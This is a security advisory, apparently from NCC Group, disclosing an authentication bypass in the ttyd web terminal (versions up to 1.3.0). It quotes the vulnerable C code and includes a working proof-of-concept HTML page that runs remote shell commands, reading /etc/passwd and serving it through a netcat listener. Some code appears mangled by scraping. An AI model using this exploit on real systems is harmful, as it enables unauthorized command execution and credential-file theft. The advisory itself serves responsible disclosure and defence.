Technical advisory: Remote shell commands execution in ttyd

Vendor: tsl0922
Vendor URL: (
Versions affected: 1.3.0 (<=)
Author: Donato Ferrante <donato.ferrante[at]nccgroup[dot]trust>
Patch URL:
Risk: Critical


ttyd is a cross platform (e.g. macOS, Linux, FreeBSD, OpenWrt/LEDE, Windows) tool for sharing a terminal over the web, inspired by GoTTY. ttyd may allow remote attackers to execute shell commands on a victim’s system, bypassing the authentication checks in place.




A remote, unauthenticated attacker may be able to execute arbitrary shell commands on systems running ttyd, bypassing the authentication checks in place.


The issue is located within the procedure in charge of handling WebSocket callbacks, specifically within the callback_tty method (LWS_CALLBACK_RECEIVE handler).

Additional details about the issue are provided inline as “//NOTE” in the code snippet below.

From src/protocol.c:

callback_tty(struct lws *wsi, enum lws_callback_reasons reason,
void *user, void *in, size_t len) {
struct tty_client *client = (struct tty_client *) user;
char buf[256];

switch (reason) {
const char command = client->buffer[0];
// check auth
if (server->credential != NULL !client->authenticated command != JSON_DATA) { //NOTE: authentication check 1 - only if "command" is *not* JSON_DATA
lwsl_warn("WS client not authenticatedn");
return 1;
switch (command) { //NOTE: process commands (opcodes)
case JSON_DATA: //NOTE: JSON_DATA opcode processing
if (client->pid > 0)
if (server->credential != NULL) { //NOTE: code block taken when the server is running with credentials
json_object *obj = json_tokener_parse(client->buffer);
struct json_object *o = NULL;
if (json_object_object_get_ex(obj, "AuthToken", o)) { //NOTE: authentication check 2 - *only checks* the token *if* the JSON_DATA request contains the "AuthToken" entry
const char *token = json_object_get_string(o);
if (token == NULL || strcmp(token, server->credential)) {
lwsl_warn("WS authentication failed with token: %sn", token);
return 1;
client->authenticated = true; //NOTE: if the JSON_DATA request *does not* have an "AuthToken" this statement is executed, and the client is *authenticated*.
int err = pthread_create( client->thread, NULL, thread_run_command, client);
if (err != 0) {
lwsl_err("pthread_create return: %dn", err);
return 1;
lwsl_warn("unknown message type: %cn", command);

The proof-of-concept (PoC.htm) included below performs the following actions:

  • Authenticates the client (without using any credentials) via JSON_DATA opcode, without providing the AuthToken entry in it.
    • Commands need to follow the protocol format: “[opcode][data]”
    • In our example: “{ hello }”; since JSON_DATA opcode is defined as “{“.
  • Once authenticated, in order to show that it is possible to send multiple commands, the client will send two commands to the remote system: “cat /etc/passwd > my.pwd” and “nc -l 8888 < my.pwd”
    • Commands need to follow the protocol format: “[opcode][data]”
    • In our example: “0cat /etc/passwd > my.pwdn” and “0nc -l 8888 < my.pwdn”; since INPUT opcode defined as “0”
  • The client downloads and displays a remote file: “my.pwd”


---- // PoC.htm // ----

<title>ttyd - Terminal :: Proof Of Concept</title>

<div id="output" style="background-color: black; color: red">[~] PoC: ready</div>
<iframe id="remotefile" width="100%" height="100%"></iframe>
! function () {
var counter = 0;
var host = ""; // define target host
var port = "7681"; // define target port
var e, n, o, t = document.getElementById("output"),
i = "",
s = (host.startsWith("https://")) ? host.replace("https://", "wss://") + ":" + port + "/ws" : host.replace(
"http://", "ws://") + ":" + port + "/ws";
c = ["tty"],
l = function () {
var i = new WebSocket(s, c),
f = function (e) {
var n = "";
return (e || window.event).returnValue = n, n
i.onopen = function (s) {
t.innerText += "n[~] PoC: bypassing authentication..n";
i.send("{ hello }");
i.onmessage = function (n) {
var o =;
switch ([0]) {
case "0":
counter = counter + 1;
if (counter <= 1) {
t.innerText +=
"[~] PoC: sending remote command [1]: cat /etc/passwd > my.pwdn";
i.send("0cat /etc/passwd > my.pwdn");
t.innerText += "[~] PoC: sending remote command [2]: nc -l 8888 < my.pwdn";
i.send("0nc -l 8888 < my.pwdn");
t.innerText += "[~] PoC: downloading remote file..n";
document.getElementById("remotefile").src = host + ":8888/";
t.innerText += "[~] PoC: byen";
}, i.onclose = function (t) {
console.log("Websocket connection closed with code: " + t.code);

---- // PoC.htm // ----

To reproduce the issue:

  1. Start ttyd with authentication enabled, i.e.: ./ttyd -c user123:pwd123 /bin/bash
  2. Update default target host and port in PoC.htm
  3. Visit PoC.htm


Update to the latest version.

Issue fixed via:

Fix Bounty

This issue and associated fix was submitted and tracked via our internal Fix Bounty Scheme:

At the time of this advisory release, this fix receives six Fix Bounty points, as per the points scheme described in the URL above.

Vendor communication

10/Mar/2017 – Issue and possible fix (diff) reported to the Vendor.
10/Mar/2017 – Vendor confirmed the issue.
10/Mar/2017 – Vendor patched the code and fixed the issue.

About NCC Group

NCC Group is a global expert in cyber security and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cyber security.

Written by: Donato Ferrante

Call us before you need us.

Our experts will help you.

Get in touch
%d bloggers like this: